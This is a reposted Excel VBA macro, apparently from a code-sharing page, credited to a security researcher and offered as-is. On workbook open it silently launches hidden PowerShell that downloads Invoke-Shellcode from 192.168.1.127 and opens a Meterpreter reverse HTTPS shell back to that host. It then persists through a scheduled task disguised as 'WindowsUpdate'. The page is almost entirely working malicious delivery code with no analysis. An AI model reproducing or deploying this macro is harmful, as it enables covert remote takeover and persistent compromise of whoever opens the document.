Powershell-Payload-Excel-DeliveryMacroCode

admin

1. ' Author: Matt Nelson
   
2. ' Twitter: @enigma0x3
   
3. 
   
4. Sub Auto_Open()
   
5. 
   
6. Execute
   
7. Persist
   
8. 
   
9. End Sub
   
10. 
    
11. 
    
12.      Public Function Execute() As Variant
    
13.         Const HIDDEN_WINDOW = 0
    
14.         strComputer = "."
    
15.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
16.          
    
17.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    
18.         Set objConfig = objStartup.SpawnInstance_
    
19.         objConfig.ShowWindow = HIDDEN_WINDOW
    
20.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    
21.         objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
    
22.      End Function
    
23. 
    
24.       
    
25.      Public Function Persist() As Variant
    
26.         Const HIDDEN_WINDOW = 0
    
27.         strComputer = "."
    
28.         Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
29.         
    
30.         Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    
31.         Set objConfig = objStartup.SpawnInstance_
    
32.         objConfig.ShowWindow = HIDDEN_WINDOW
    
33.         Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    
34.         objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create  /TN WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c ''IEX ((New-Object Net.WebClient).DownloadString(''''http://192.168.1.127/Invoke-Shellcode''''''))''; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig, intProcessID
    
35.      End Function
    
36.      

复制代码